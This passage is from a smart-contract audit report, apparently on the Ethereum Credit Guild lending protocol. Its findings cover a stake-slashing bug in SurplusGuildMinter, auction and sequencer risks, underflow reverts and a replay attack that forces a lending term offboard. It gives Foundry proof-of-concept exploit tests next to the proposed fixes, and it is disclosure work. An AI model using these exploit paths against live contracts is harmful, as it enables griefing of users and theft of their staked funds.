// The loans with less accrued interest and a bigger principle/borrow amount will result in a bigger loss, i.e. greater markdown
emit log_named_uint("creditMultiplier before updates", profitManager.creditMultiplier());
uint256 collateralReceived;
for (uint256 i; i < loanIds.length; i++) {
(collateralReceived, creditAsked) = auctionHouse.getBidDetail(loanIds[i]);
// verify we are at the top of phase 2 (collateralReceived == collateralAmount | creditAsked == callDebt)
assertEq(auctionHouse.getAuction(loanIds[i]).callDebt, creditAsked);
assertEq(auctionHouse.getAuction(loanIds[i]).collateralAmount, collateralReceived);
// bid at top of phase two (bidder receives collateral at a discount & protocol incurs more bad debt)
credit.mint(address(this), creditAsked);
credit.approve(address(term), creditAsked);
auctionHouse.bid(loanIds[i]);
multiplierUpdated();
}
}
function multiplierUpdated() internal {
// credit multiiplier decreases which each auction
uint256 multiiplier = profitManager.creditMultiplier();
emit log_named_uint("creditMultiplier updated", multiiplier);
}
}
Recommended Mitigation Steps
Credit
debt is calculated in most areas of the system with respect to the current multiplier, except for during the auction process. I would suggest calculating the callDebt
dynamically with respect to the current creditMultiplier
during the auction process instead of having it represent a ‘snapshot’ of the borrower’s debt.
TrungOre (judge) increased severity to High
eswak (Ethereum Credit Guild) confirmed via duplicate issue #1069:
Note: For full discussion, see here.
[H-04] Users staking via the SurplusGuildMinter
can be immediately slashed when staking into a gauge that had previously incurred a loss
Submitted by JCN, also found by carrotsmuggler, Chinmay, beber89, XDZIBECX, serial-coder, Varun_05, Infect3d, stackachu, AlexCzm, 0xdice91, jasonxiale, HighDuty, imare, cats, developerjordy, 0xaltego, 0xadrii, DanielArmstrong, cccz, sl1, wangxx2026, Akali, SECURITISE, smiling_heretic, Timeless, KupiaSec, PENGUN, alexzoid, Stormreckson, 0xpiken, SweetDream, whitehat-boys, klau5, btk, 0xivas, santipu_, asui, grearlake, TheSchnilch, kaden, Inference, and ether_sky
User’s can stake into a gauge directly via the GuildToken
or indirectly via the SurplusGuildMinter
. When a user stakes into a new gauge (i.e. their weight goes from 0
to > 0
) via GuildToken::incrementGauge
, their lastGaugeLossApplied
mapping for this gauge, which is how the system keeps track of whether or not the user deserves to be slashed, is set to the current timestamp:
247: uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
248: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][user];
249: if (getUserGaugeWeight[user][gauge] == 0) {
250: lastGaugeLossApplied[gauge][user] = block.timestamp;
251: } else {
252: require(
253: _lastGaugeLossApplied >= _lastGaugeLoss,
254: "GuildToken: pending loss"
255: );
256: }
This ensures that any loss that occurred in the gauge, before the user staked, will result in the following condition: lastGaugeLossApplied[gauge][user] > lastGaugeLoss[gauge]
. This means the user staked into the gauge after the gauge experienced a loss and therefore, they can not be slashed:
133: function applyGaugeLoss(address gauge, address who) external {
134: // check preconditions
135: uint256 _lastGaugeLoss = lastGaugeLoss[gauge];
136: uint256 _lastGaugeLossApplied = lastGaugeLossApplied[gauge][who];
137: require(
138: _lastGaugeLoss != 0 && _lastGaugeLossApplied < _lastGaugeLoss,
139: "GuildToken: no loss to apply"
140: );
The above function showcases the requirements that need to be met in order for a user to be slashed: the user must have been staked in the gauge when the gauge experienced a loss in order for the user to be slashed. With this in mind, let us observe the process that occurs when users stake via the SurplusGuildMinter
:
When a user stakes into a gauge via the SurpluGuildMinter::stake
function the SurplusGuildMinter::getRewards
function is invoked:
SurplusGuildMinter.sol#L216-L236
216: function getRewards(
217: address user,
218: address term
219: )
220: public
221: returns (
222: uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
223: UserStake memory userStake, // stake state after execution of getRewards()
224: bool slashed // true if the user has been slashed
225: )
226: {
227: bool updateState;
228: lastGaugeLoss = GuildToken(guild).lastGaugeLoss(term);
229: if (lastGaugeLoss > uint256(userStake.lastGaugeLoss)) {
230: slashed = true;
231: }
232:
233: // if the user is not staking, do nothing
234: userStake = _stakes[user][term];
235: if (userStake.stakeTime == 0)
236: return (lastGaugeLoss, userStake, slashed);
As seen above, this function will retrieve the lastGaugeLoss
for the specified gauge (term
) the user is staking into and will identify this user as being slashed, i.e. slashed = true
, if lastGaugeLoss > userStake.lastGaugeLoss
. The issue lies in the fact that, at this point in the code execution, the userStake
struct is a freshly initialized memory struct and therefore, all of the struct’s fields are set to 0
. Thus, the check on lines 229-230 are really doing the following:
if (lastGaugeLoss > uint256(0)) {
slashed = true;
}
The above code will always set slashed
to true
if the specified gauge has experienced any loss in its history. Therefore, a gauge can have experienced a loss, been off-boarded, and then been re-onboarded at a future time and The SurplusGuildMinter
will consider any user who stakes into this gauge to be slashed
.
The code execution will then continue to lines 235-236, where the user’s stake is retrieved from storage (it is initialized to all 0
’s since the user has not staked yet) and if the stakeTime
field is 0
(it is), the execution returns to the GuildToken::stake
function:
SurplusGuildMinter.sol#L114-L125
114: function stake(address term, uint256 amount) external whenNotPaused {
115: // apply pending rewards
116: (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
117: msg.sender,
118: term
119: );
120:
121: require(
122: lastGaugeLoss != block.timestamp,
123: "SurplusGuildMinter: loss in block"
124: );
125: require(amount >= MIN_STAKE, "SurplusGuildMinter: min stake");
The above code illustrates the only validation checks that are performed in this stake
function. As long as the user is not attempting to stake into a gauge in the same block that the gauge experienced a loss, and the user is staking at least 1e18
, the user’s stake
position will be initialized (the user will be allowed to stake their Credit
):
SurplusGuildMinter.sol#L114-L125
139: userStake = UserStake({
140: stakeTime: SafeCastLib.safeCastTo48(block.timestamp),
141: lastGaugeLoss: SafeCastLib.safeCastTo48(lastGaugeLoss),
142: profitIndex: SafeCastLib.safeCastTo160(
143: ProfitManager(profitManager).userGaugeProfitIndex(
144: address(this),
145: term
146: )
147: ),
148: credit: userStake.credit + SafeCastLib.safeCastTo128(amount),
149: guild: userStake.guild + SafeCastLib.safeCastTo128(guildAmount)
150: });
151: _stakes[msg.sender][term] = userStake;
The user would naturally perform the next actions: They can call SurplusGuildMinter::getRewards
when they want to receive rewards and they can call SurplusGuildMinter::unstake
when they want to unstake from their position, i.e. withdraw their deposited Credit
. It is important to note that when the unstake
function is called, similar to the stake
function, the getRewards
function will first be invoked. As we previously observed, the getRewards
function will consider the user slashed
if the gauge had previously experienced any loss in its history. Therefore, after a user has staked, any call to getRewards
will result in the following logic to execute:
SurplusGuildMinter.sol#L274-L289
274: if (slashed) {
275: emit Unstake(block.timestamp, term, uint256(userStake.credit));
276: userStake = UserStake({
277: stakeTime: uint48(0),
278: lastGaugeLoss: uint48(0),
279: profitIndex: uint160(0),
280: credit: uint128(0),
281: guild: uint128(0)
282: });
283: updateState = true;
284: }
285:
286: // store the updated stake, if needed
287: if (updateState) {
288: _stakes[user][term] = userStake;
289: }
As we can see above, when a user calls getRewards
or unstake
after staking into a gauge that has experienced a loss sometime in its history, the user’s stake
position will be deleted (slashed). If the user is attempting to unstake then the execution flow will continue in the unstake
function:
SurplusGuildMinter.sol#L158-L166C25
158: function unstake(address term, uint256 amount) external {
159: // apply pending rewards
160: (, UserStake memory userStake, bool slashed) = getRewards(
161: msg.sender,
162: term
163: );
164:
165: // if the user has been slashed, there is nothing to do
166: if (slashed) return;
Since the user has been considered slashed
, the execution will return on line 166 and the user will not be allowed to withdraw their staked Credit
.
I would also like to note that the user will still have a chance to receive some earned Credit
after the gauge experiences a profit. However, since the user is considered slashed
, they will not be given any guild rewards
:
SurplusGuildMinter.sol#L247-L264
247: uint256 deltaIndex = _profitIndex - _userProfitIndex;
248:
249: if (deltaIndex != 0) {
250: uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
251: 1e18;
252: uint256 guildReward = (creditReward * rewardRatio) / 1e18;
253: if (slashed) {
254: guildReward = 0;
255: }
256:
257: // forward rewards to user
258: if (guildReward != 0) {
259: RateLimitedMinter(rlgm).mint(user, guildReward);
260: emit GuildReward(block.timestamp, user, guildReward);
261: }
262: if (creditReward != 0) {
263: CreditToken(credit).transfer(user, creditReward);
264: }
As seen above, if the user is eligible to claim rewards (the gauge they staked into has experienced a profit), then they will be sent creditReward
of Credit
. However, since they are considered slashed
, their guildReward
is set to 0
. This scenario will only occur if no one calls getReward
for this user before the gauge generates a profit. If any call to getReward
for this user is invoked before that, the user will not be able to receive any rewards and in both situations they will lose their staked Credit
.
An additional, lesser effect, is that the Guild
which was minted on behalf of the user who staked will not be unstaked from the gauge, it will not be burned, and the RateLimitedGuildMinter
’s buffer will not be replenished. I.e. the following code from the unstake
function will not execute:
SurplusGuildMinter.sol#L205-L208
205: // burn GUILD
206: GuildToken(guild).decrementGauge(term, guildAmount);
207: RateLimitedMinter(rlgm).replenishBuffer(guildAmount);
208: GuildToken(guild).burn(guildAmount);
Impact
User’s utilizing the SurplusGuildMinter
to stake into a gauge, which has previously experienced a loss sometime in its history, can be immediately slashed. This will result in the user losing out on any guild rewards (if they were staked into the gauge while it experienced a profit), but most importantly this will result in the user losing their staked principle (Credit
).
To further illustrate the impact of this vulnerability, lets consider the following scenario:
A gauge experiences a loss. The gauge is then off-boarded. The gauge is re-onboarded in the future. A user stakes into this gauge via the SurplusGuildMinter
. A malicious actor immediately calls getRewards(gauge, user)
and the user is slashed
and loses their staked Credit
.
Proof of Concept
The following test describes the main impact highlighted above, in which a user stakes into a previously lossy gauge and is immediately slashed:
Place the following test inside of test/unit/loan/SurplusGuildMinter.t.sol
:
function testUserImmediatelySlashed() public {
// initial state
assertEq(guild.getGaugeWeight(term), 50e18);
// add credit to surplus buffer
credit.mint(address(this), 100e18);
credit.approve(address(profitManager), 50e18);
profitManager.donateToSurplusBuffer(50e18);
// term incurs loss
profitManager.notifyPnL(term, -50e18);
assertEq(guild.lastGaugeLoss(term), block.timestamp);
// term offboarded
guild.removeGauge(term);
assertEq(guild.isGauge(term), false);
// time passes and term is re-onboarded
vm.roll(block.number + 100);
vm.warp(block.timestamp + (100 * 13));
guild.addGauge(1, term);
assertEq(guild.isGauge(term), true);
// user stakes into term directly
address user = address(0x01010101);
guild.mint(user, 10e18);
vm.startPrank(user);
guild.incrementGauge(term, 10e18);
vm.stopPrank();
// user can un-stake from term
vm.startPrank(user);
guild.decrementGauge(term, 10e18);
vm.stopPrank();
// user stakes into term via sgm
credit.mint(user, 10e18);
vm.startPrank(user);
credit.approve(address(sgm), 10e18);
sgm.stake(term, 10e18);
vm.stopPrank();
// check after-stake state
assertEq(credit.balanceOf(user), 0);
assertEq(profitManager.termSurplusBuffer(term), 10e18);
assertEq(guild.getGaugeWeight(term), 70e18);
SurplusGuildMinter.UserStake memory userStake = sgm.getUserStake(user, term);
assertEq(uint256(userStake.stakeTime), block.timestamp);
assertEq(userStake.lastGaugeLoss, guild.lastGaugeLoss(term));
assertEq(userStake.profitIndex, 0);
assertEq(userStake.credit, 10e18);
assertEq(userStake.guild, 20e18);
// malicious actor is aware of bug and slashes the user's stake immediately, despite no loss occurring in the gauge
sgm.getRewards(user, term);
// check after-getReward state (user was slashed even though no loss has occurred since term was re-onboarded)
assertEq(credit.balanceOf(user), 0);
assertEq(profitManager.termSurplusBuffer(term), 10e18);
assertEq(guild.getGaugeWeight(term), 70e18);
userStake = sgm.getUserStake(user, term);
assertEq(uint256(userStake.stakeTime), 0);
assertEq(userStake.lastGaugeLoss, 0);
assertEq(userStake.profitIndex, 0);
assertEq(userStake.credit, 0);
assertEq(userStake.guild, 0);
// user tries to unstake but will not receive anything
uint256 userBalanceBefore = credit.balanceOf(user);
vm.startPrank(user);
sgm.unstake(term, 10e18);
vm.stopPrank();
uint256 userAfterBalance = credit.balanceOf(user);
assertEq(userBalanceBefore, 0);
assertEq(userAfterBalance, 0);
}
Recommended Mitigation Steps
Similar to how the GuildToken::incrementGauge
function initializes a user’s lastGaugeLossApplied
value, the SurplusGuildMinter
should initialize a user’s userStake.lastGaugeLoss
to block.timestamp
. It should then compare the lastGaugeLoss
to the user’s stored userStake.lastGaugeLoss
instead of comparing the lastGaugeLoss
to a freshly initialized userStake
memory struct, whose fields are all 0
.
eswak (Ethereum Credit Guild) confirmed via duplicate issue #1164
Note: For full discussion, see here.
Medium Risk Findings (25)
[M-01] No check for sequencer uptime can lead to dutch auctions failing or executing at bad prices
Submitted by EV_om, also found by Ward
The AuctionHouse
contract implements a Dutch auction mechanism to recover debt from collateral. However, there is no check for sequencer uptime, which could lead to auctions failing or executing at unfavorable prices.
The current deployment parameters allow auctions to succeed without a loss to the protocol for a duration of 10m 50s. If there’s no bid on the auction after this period, the protocol has no other option but to take a loss or forgive the loan. This could have serious consequences in the event of a network outage, as any loss results in the slashing of all users with weight on the term.
Network outages and large reorgs happen with relative frequency. For instance, Arbitrum suffered an hour-long outage just two weeks ago (source).
Proof of Concept
Consider the following scenario:
- A loan is called and an auction is initiated.
- The network experiences an outage, causing the sequencer to go offline.
- The auction fails to receive any bids within the 10m 50s window due to the outage.
- The protocol is forced to take a loss (if there’s still a bid after the
midPoint
and before the auction ends) or forgive the loan, both leading to the complete slashing of all users with weight on the term.
Recommended Mitigation Steps
To mitigate this issue, consider integrating an external uptime feed such as Chainlink’s L2 Sequencer Feeds. This would allow the contract to invalidate an auction if the sequencer was ever offline during its duration. Alternatively, implement a mechanism to restart an auction if it has received no bids.
eswak (Ethereum Credit Guild) acknowledged, but disagreed with severity and commented:
Acknowledging this, we definitely don’t want to add a dependency on an oracle to run the liquidations, so maybe another fix would be to define auction durations in number of blocks. I think basing auctions on time is semantically correct because it depends on market conditions (that are based on time) and when the sequencer resumes the conditions that triggered the auction might not hold anymore. The
forgive()
path at the end of the auction could be used to unstick the situation at the smart contract level, and the governance can organize an orderly fix of the situation when the sequencer resumes.Given the likelihood, I think it should be low severity, especially since we know auctions have to be longer on L2s than on mainnet (liquidity potentially needs to bridge, etc), so the chance that a downtime large enough relative to the auction duration will happen is pretty low.
In my opinion, if an auction is still active when the sequencer is down, it may cause a loss of assets (collateral) for the borrower. Although governance’s measures can help mitigate the situation when the sequencer resumes, loss and slashing in this lending term will be inevitable in such cases. So I think medium severity is appropriate for this issue, but I’m open to other feedback.
[M-02] Inability to withdraw funds for certain users due to whenNotPaused
modifier in RateLimitedMinter
Submitted by EV_om, also found by Takarez
From the audit documentation:
[The GUARDIAN role] is expected to be able to freeze new usage of the protocol, but not prevent users from withdrawing their funds.
However, due to the whenNotPaused
modifier in the RateLimitedMinter.mint()
function, users who have CREDIT
tokens staked on a gauge with a pending guildReward
will not be able to withdraw their funds. This is because the SurplusGuildMinter.unstake()
function attempts to mint rewards through the RateLimitedMinter
in the getRewards()
function prior to unstaking. If the protocol is paused, this step will fail, causing the transaction to revert and preventing users from withdrawing their funds.
Proof of Concept
Consider a scenario where Alice has CREDIT
tokens staked on a gauge with a pending guildReward
. Then, the protocol is paused and Alice attempts to unstake her tokens by calling the SurplusGuildMinter.unstake()
function, which in turn calls the getRewards()
function. This function attempts to mint rewards through the RateLimitedMinter.mint()
function. However, because the protocol is paused, this function cannot be executed, causing the transaction to revert and preventing Alice from unstaking and withdrawing her funds.
Recommended Mitigation Steps
Provide an emergencyWithdraw
method allowing users to withdraw their funds while foregoing rewards when the protocol is paused. This change should be carefully reviewed and tested to ensure it does not introduce other security risks.
eswak (Ethereum Credit Guild) confirmed and commented:
Very nice catch, thanks a lot for reporting!
[M-03] totalBorrowedCredit
can revert, breaking gauges.
Submitted by carrotsmuggler, also found by falconhoof, PENGUN, SpicyMeatball, TheSchnilch, santipu_ (1, 2), 3docSec, ether_sky, and EV_om
The function totalBorrowedCredit
is used to get an estimate of the amount of credit borrowed out by the system. The issue is that changes in creditMultiplier
affect this value and can even lead to a revert due to underflow.
The function totalBorrowedCredit
is defined as follows:
function totalBorrowedCredit() external view returns (uint256) {
return CreditToken(credit).targetTotalSupply() - SimplePSM(psm).redeemableCredit();
}
The first term is the total supply of the credit tokens, including rebasing rewards. The second part is the amount of credit tokens that can be redeemed, and is defined as shown below:
uint256 creditMultiplier = ProfitManager(profitManager)
.creditMultiplier();
return (amountIn * decimalCorrection * 1e18) / creditMultiplier;
If creditMultiplier
decreases due to a realized loss, the value returned by redeemableCredit
goes up. If this value exceeds the targetTotalSupply()
value, this function call will revert.
Assume a fresh market deployment. There are no loans at all. Alice now mints 1e18 credit tokens via the PSM, so the targetTotalSupply()
is 1e18 and redeemableCredit
is also 1e18. If the same situation is realized after the market has incurred a loss, the creditMultiplier
will be less than 1e18, and the redeemableCredit
will be greater than 1e18. This will cause the function to revert. A malicious borrower can also burn some of their credit tokens to help brick this function.
The totalBorrowedCredit
function is used in debtCeiling
calculations, and thus when it reverts it will also break term borrow operations, breaking functionality.
Proof of Concept
In this POC the following steps are demonstrated:
- User mints via PSM module.
- A loss is realized, causing the
creditMultiplier
to decrease. - User burns up a bunch of their credit tokens, causing the
totalSupply
to drop. - The
totalBorrowedCredit
function call reverts.
Put this in the ProfitManager.t.sol
file:
function testAttackRevert() public {
// grant roles to test contract
vm.startPrank(governor);
core.grantRole(CoreRoles.GAUGE_PNL_NOTIFIER, address(this));
core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
vm.stopPrank();
emit log_named_uint('TBC 1', profitManager.totalBorrowedCredit());
// psm mint 100 CREDIT
pegToken.mint(address(this), 100e6);
pegToken.approve(address(psm), 100e6);
psm.mint(address(this), 100e6);
emit log_named_uint('TBC 2', profitManager.totalBorrowedCredit());
// apply a loss
// 50 CREDIT of loans completely default (50 USD loss)
profitManager.notifyPnL(address(this), -50e18);
emit log_named_uint('TBC 3', profitManager.totalBorrowedCredit());
// burn tokens to throw off the ratio
credit.burn(70e18);
vm.expectRevert();
emit log_named_uint('TBC 4', profitManager.totalBorrowedCredit());
}
The expectRevert
in the end shows the revert. Consequences due to this failure is evident since this function is used in the debtCeiling
calculations in lending terms.
Since this breaks lending terms, it is a critical issue.
Tools Used
Foundry
Recommended Mitigation Steps
The totalBorrowedCredit
function should never fail. Either cap it to 0
to prevent underflows. Or a better way is to track the total tokens minted by the PSM module with a variable which is incremented every mint and decremented every burn. This removes the dependence on creditMultiplier
which can change over time even if PSM module users haven’t minted or burnt any excess tokens.
Assessed type
Under/Overflow
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Confirming this issue.
I don’t know what rules are used to determine high/medium, but this would only prevent new borrows in a market, and doesn’t prevent a safe wind down of a market. It also does not prevent users from withdrawing their funds, so I’d qualify as Medium, even though it definitely needs a fix.
Thanks for the quality of the report.
TrungOre (judge) decreased severity to Medium and commented:
I agree that this should be a medium based on both its impact and likelihood.
[M-04] PnL
system can be broken by large users intentionally or unintentionally.
Submitted by carrotsmuggler, also found by 0xPhantom (1, 2), Soltho, y0ng0p3, SECURITISE, CaeraDenoir, and pavankv
The function notifyPnL
in ProfitManager.sol
is responsible for accounting the profits gained by the system, and also the losses, slashing and recovery of bad loans. When a loss is encountered, gauge votes are slashed and if there is a loss to the system, the creditMultiplier
is decreased to reflect the loss.
The creditMultiplier
is updated in case of a loss in the following snippet.
// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
(creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
Here, the term creditTotalSupply - loss
is calculated to calculate the new credit multiplier. The issue is that the loss
can be larger than the creditTotalSupply
for large loans. This will lead to a revert, and block the function notifyPnL
breaking the gauge slashing and voting systems as well.
This scenario can happen in the following manner:
- Alice deposits USDC and mints 1e18 gUSDC. Say she is the largest participator in the market.
- Alice goes to the SurplusGuildMinter contract and stakes the some of the minted gUSDC tokens (say 0.8e18) on her own terms.
- Alice defaults due to some depeg event. System enters a loss.
Now, the code will enter the notifyPnL
function with some large loss amount. Since Alice provided only a part of the tokens to the surplusbuffer in step 2, we can assume loss > _surplusBuffer
. This executes the part of the code which updates the creditMultiplier.
else {
// empty the surplus buffer
loss -= _surplusBuffer;
surplusBuffer = 0;
CreditToken(_credit).burn(_surplusBuffer);
emit SurplusBufferUpdate(block.timestamp, 0);
// update the CREDIT multiplier
uint256 creditTotalSupply = CreditToken(_credit).totalSupply();
uint256 newCreditMultiplier = (creditMultiplier *
(creditTotalSupply - loss)) / creditTotalSupply;
creditMultiplier = newCreditMultiplier;
emit CreditMultiplierUpdate(
block.timestamp,
newCreditMultiplier
);
As we can see above, the code first calls burn
on the surplusbuffer
. This burns up all the tokens supplied by Alice in there, drastically reducing the totalSupply
of the credit tokens. In this scenario, Alice’s loss is 1e18, but the totalSupply
just got nuked to 0.2e18. This will lead to a revert in the next line, as creditTotalSupply - loss
will be negative. This will break the notifyPnL
function, and the gauge slashing and voting systems as well.
This also pushes the system towards more bad debt, since the auction process cannot be completed since the onBid
function also calls notifyPnL
to update the credit multiplier.
The impact is high, and the likelihood is medium since most DeFi projects have whales who take out large loans and farm with them, making this a likely scenario. Thus the overall severity is high.
Proof of Concept
Attached is a POC loosely following the attack path described above. It is a modification of the testBidSuccessBadDebt
test and should be added to the AuctionHouse.t.sol test file:
function testAttackBid() public {
bytes32 loanId = _setupAndCallLoan();
uint256 PHASE_1_DURATION = auctionHouse.midPoint();
uint256 PHASE_2_DURATION = auctionHouse.auctionDuration() - auctionHouse.midPoint();
vm.roll(block.number + 1);
vm.warp(block.timestamp + PHASE_1_DURATION + (PHASE_2_DURATION * 2) / 3);
// At this time, get full collateral, repay half debt
(uint256 collateralReceived, uint256 creditAsked) = auctionHouse.getBidDetail(loanId);
emit log_named_uint('collateralReceived', collateralReceived);
emit log_named_uint('creditAsked', creditAsked);
vm.startPrank(borrower);
credit.burn(20_000e18);
vm.stopPrank();
// bid
credit.mint(bidder, creditAsked);
vm.startPrank(bidder);
credit.approve(address(term), creditAsked);
vm.expectRevert();
auctionHouse.bid(loanId);
vm.stopPrank();
}
In this POC, Alice mints tokens and then her loan gets sent to the auction house. Once Alice burns her tokens, Bob can no longer bid on her loan. Alice burning her tokens is the same as her supplying them to surplusguildminter since that contract will also burn her tokens.
Tools Used
Foundry
Recommended Mitigation Steps
If the loss
is greater than the creditTotalSupply
, the creditMultiplier
should be set to 0
. This will prevent the system from breaking.
Assessed type
Under/Overflow
eswak (Ethereum Credit Guild) commented:
Here the term
creditTotalSupply
- loss is calculated to calculate the new credit multiplier. The issue is that the loss can be larger than thecreditTotalSupply
for large loans. This will lead to a revert.Alice burning her tokens is the same as her supplying them to SurplusGuildMinter since that contract will also burn her tokens.
This would not be the case, as the loss is reduced by the
surplusBuffer
when the tokens are burnt. So in the example, 0.8e18 credit staked get burnt, and the loss becomes 1e18 - 0.8e18 = 0.2e18, which is the balance that Alice has borrowed & still holds in her wallet, and worst case thecreditMultiplier
could go to0
.I think the fact that borrowers can just burn their borrowed credit tokens is another problem which I need to think through before weighing in.
eswak (Ethereum Credit Guild) confirmed, but disagreed with severity and commented:
Confirming, I think we’re going to put access control on
CreditToken.burn
so that only lending terms, profit manager, and psm can do it.I’d qualify as medium because it sticks the market into an unusable state, but the user funds are not lost/stolen. The governance can always recover peg tokens in the PSM + collateral tokens in lending terms to organize an orderly closing of the market where everyone recovers what they had put in the protocol + a share of the griefer’s collateral as a compensation.
TrungOre (judge) decreased severity to Medium and commented:
Agree with the sponsor that medium severity is appropriate for this issue. The scenario is very unlikely to happen, in which users would need to burn their own assets (more than the total balance of other Credit token holders).
[M-05] Replay attack to suddenly offboard the re-onboarded lending term
Submitted by serial-coder, also found by EV_om, 0xStalin, evmboi32, Soul22, DanielArmstrong, gesha17, SpicyMeatball, smiling_heretic, nonseodion, Cosine, HighDuty, 0xbepresent, lsaudit, kaden, and ether_sky
The LendingTermOffboarding
contract allows guild holders to poll to remove a lending term. If the voting weight is enough, the lending term can be offboarded without delay. Further, the offboarded term can be re-onboarded to become an active term through the LendingTermOnboarding::proposeOnboard()
following up with the voting mechanism.
The following briefly describes the steps for offboarding the lending term through the LendingTermOffboarding
contract:
- Anyone executes the
proposeOffboard()
to create a poll for offboarding the term. The poll has an age of~7 days
. - Guild holders cast votes for offboarding the term via
supportOffboard()
. - If the poll has not ended and the voting weight is enough, the
canOffboard[term]
flag will be set. - If the
canOffboard[term]
flag is set; anyone can execute theoffboard()
to offboard the term. - All loans of the offboarded term have to be called and closed.
- After all loans have been closed, the
cleanup()
can be invoked to explicitly terminate the term and reset thecanOffboard[term]
flag.
The following roughly describes the steps for re-onboarding the offboarded lending term through the LendingTermOnboarding
contract:
- The offboarded term can be proposed for re-onboarding through the
proposeOnboard()
. - Guild holders cast votes for the term.
- If the vote is successful, the term re-onboarding operation is queued in the Timelock.
- After the Timelock delay, the term can be re-onboarded to become an active lending term again.
Vulnerability Details
This report describes the vulnerability in the LendingTermOffboarding
contract, allowing an attacker to force the re-onboarded lending term to offboard by overriding the DAO vote offboarding mechanism. In other words, the attacker is not required to create an offboarding poll and wait for the vote to succeed in offboarding the target term. Furthermore, the attacker is not required to possess any guild tokens.
The following explains the attack steps:
- As per steps 1 - 4 for offboarding the lending term previously described above, the
canOffboard[term]
flag will be set by thesupportOffboard()
, and the lending term will be offboarded via theoffboard()
. - To explicitly terminate the term (via the
cleanup()
), all loans issued must be called and closed. Therefore, there will be a time gap waiting for all loans to be closed in this step. - Assuming that while waiting for all loans to be closed, the offboarded term has been proposed and successfully granted for re-onboarding (see steps 1 - 4 previously described above for re-onboarding the offboarded lending term).
- After the previous step, the term has become re-onboarded (active) for issuing new loans. Notice that the term was re-onboarded without executing the
cleanup()
. Thus, thecanOffboard[term]
flag is still active. - For this reason, the attacker can execute the
offboard()
to force offboarding the re-onboarded term, overriding the DAO vote offboarding mechanism (since thecanOffboard[term]
flag is still active).
The attacker can suddenly offboard the re-onboarded term whenever they will, regardless of how long the target term has been re-onboarded, how long the offboarding poll has expired, or how long the canOffboard[term]
flag has been activated (please refer to the Proof of Concept
section for the coded PoC).
Furthermore, the attacker does not need to hold guild tokens to exploit this vulnerability:
function supportOffboard(
uint256 snapshotBlock,
address term
) external whenNotPaused {
require(
block.number <= snapshotBlock + POLL_DURATION_BLOCKS,
"LendingTermOffboarding: poll expired"
);
uint256 _weight = polls[snapshotBlock][term];
require(_weight != 0, "LendingTermOffboarding: poll not found");
uint256 userWeight = GuildToken(guildToken).getPastVotes(
msg.sender,
snapshotBlock
);
require(userWeight != 0, "LendingTermOffboarding: zero weight");
require(
userPollVotes[msg.sender][snapshotBlock][term] == 0,
"LendingTermOffboarding: already voted"
);
userPollVotes[msg.sender][snapshotBlock][term] = userWeight;
polls[snapshotBlock][term] = _weight + userWeight;
@1 if (_weight + userWeight >= quorum) {
@1 canOffboard[term] = true; //@audit -- Once the voting weight is enough, the canOffboard[term] flag will be set
@1 }
emit OffboardSupport(
block.timestamp,
term,
snapshotBlock,
msg.sender,
userWeight
);
}
function offboard(address term) external whenNotPaused {
@2 require(canOffboard[term], "LendingTermOffboarding: quorum not met"); //@audit -- If the canOffboard[term] flag is set, the term can be offboarded
// update protocol config
// this will revert if the term has already been offboarded
// through another mean.
GuildToken(guildToken).removeGauge(term);
// pause psm redemptions
if (
nOffboardingsInProgress++ == 0 &&
!SimplePSM(psm).redemptionsPaused()
) {
SimplePSM(psm).setRedemptionsPaused(true);
}
emit Offboard(block.timestamp, term);
}
function cleanup(address term) external whenNotPaused {
require(canOffboard[term], "LendingTermOffboarding: quorum not met");
@3 require(
@3 LendingTerm(term).issuance() == 0, //@audit -- To clean up the term, all its loans must be closed
@3 "LendingTermOffboarding: not all loans closed"
@3 );
require(
GuildToken(guildToken).isDeprecatedGauge(term),
"LendingTermOffboarding: re-onboarded"
);
// update protocol config
core().revokeRole(CoreRoles.RATE_LIMITED_CREDIT_MINTER, term);
core().revokeRole(CoreRoles.GAUGE_PNL_NOTIFIER, term);
// unpause psm redemptions
if (
--nOffboardingsInProgress == 0 && SimplePSM(psm).redemptionsPaused()
) {
SimplePSM(psm).setRedemptionsPaused(false);
}
canOffboard[term] = false;
emit Cleanup(block.timestamp, term);
}
@1 - Once the voting weight is enough, the canOffboard[term] flag will be set
: See here.
@2 - If the canOffboard[term] flag is set, the term can be offboarded
: See here.
@3 - To clean up the term, all its loans must be closed
: See here.
Impact
The active re-onboarded lending term can be forced to immediately offboard, bypassing the DAO vote offboarding, which is the protocol’s core mechanism. Subsequently, the attacked lending term will block all new loans from being issued and prevent guild holders from voting for the term.
Moreover, all loans previously issued by the attacked term can be called putting the loans for bidding silently (since the attacker bypasses the DAO vote offboarding mechanism). If one of the loans fails on bidding to fill up the loan’s principal, the term’s loss will be notified. As a result, all users who stake credit tokens through the SurplusGuildMinter
contract to vote for the attacked term will be slashed with all their credit principal and guild rewards.
Proof of Concept
Place the testPoCReplayOffboarding()
in the .test/unit/governance/LendingTermOffboarding.t.sol
file and run the test using the forge test --match-test testPoCReplayOffboarding -vvv
command:
function testPoCReplayOffboarding() public {
// Prepare for Bob
guild.mint(bob, _QUORUM);
vm.startPrank(bob);
guild.delegate(bob);
uint256 POLL_DURATION_BLOCKS = offboarder.POLL_DURATION_BLOCKS();
uint256 snapshotBlock = block.number;
uint256 OFFBOARDING_POLL_END_BLOCK = snapshotBlock + POLL_DURATION_BLOCKS;
// Bob proposes an offboarding of the term
assertEq(guild.isGauge(address(term)), true);
offboarder.proposeOffboard(address(term));
// Next 1 day
vm.roll(block.number + 6646); // 1 day
vm.warp(block.timestamp + 6646 * 13);
assertLe(block.number, OFFBOARDING_POLL_END_BLOCK);
vm.expectRevert("LendingTermOffboarding: quorum not met");
offboarder.cleanup(address(term));
// Bob votes for offboarding the term and executes the offboarding (he has a sufficient voting weight)
assertEq(guild.isGauge(address(term)), true);
assertEq(offboarder.canOffboard(address(term)), false);
offboarder.supportOffboard(snapshotBlock, address(term));
offboarder.offboard(address(term));
assertEq(guild.isGauge(address(term)), false);
assertEq(offboarder.canOffboard(address(term)), true);
// Cannot clean up because loans are active
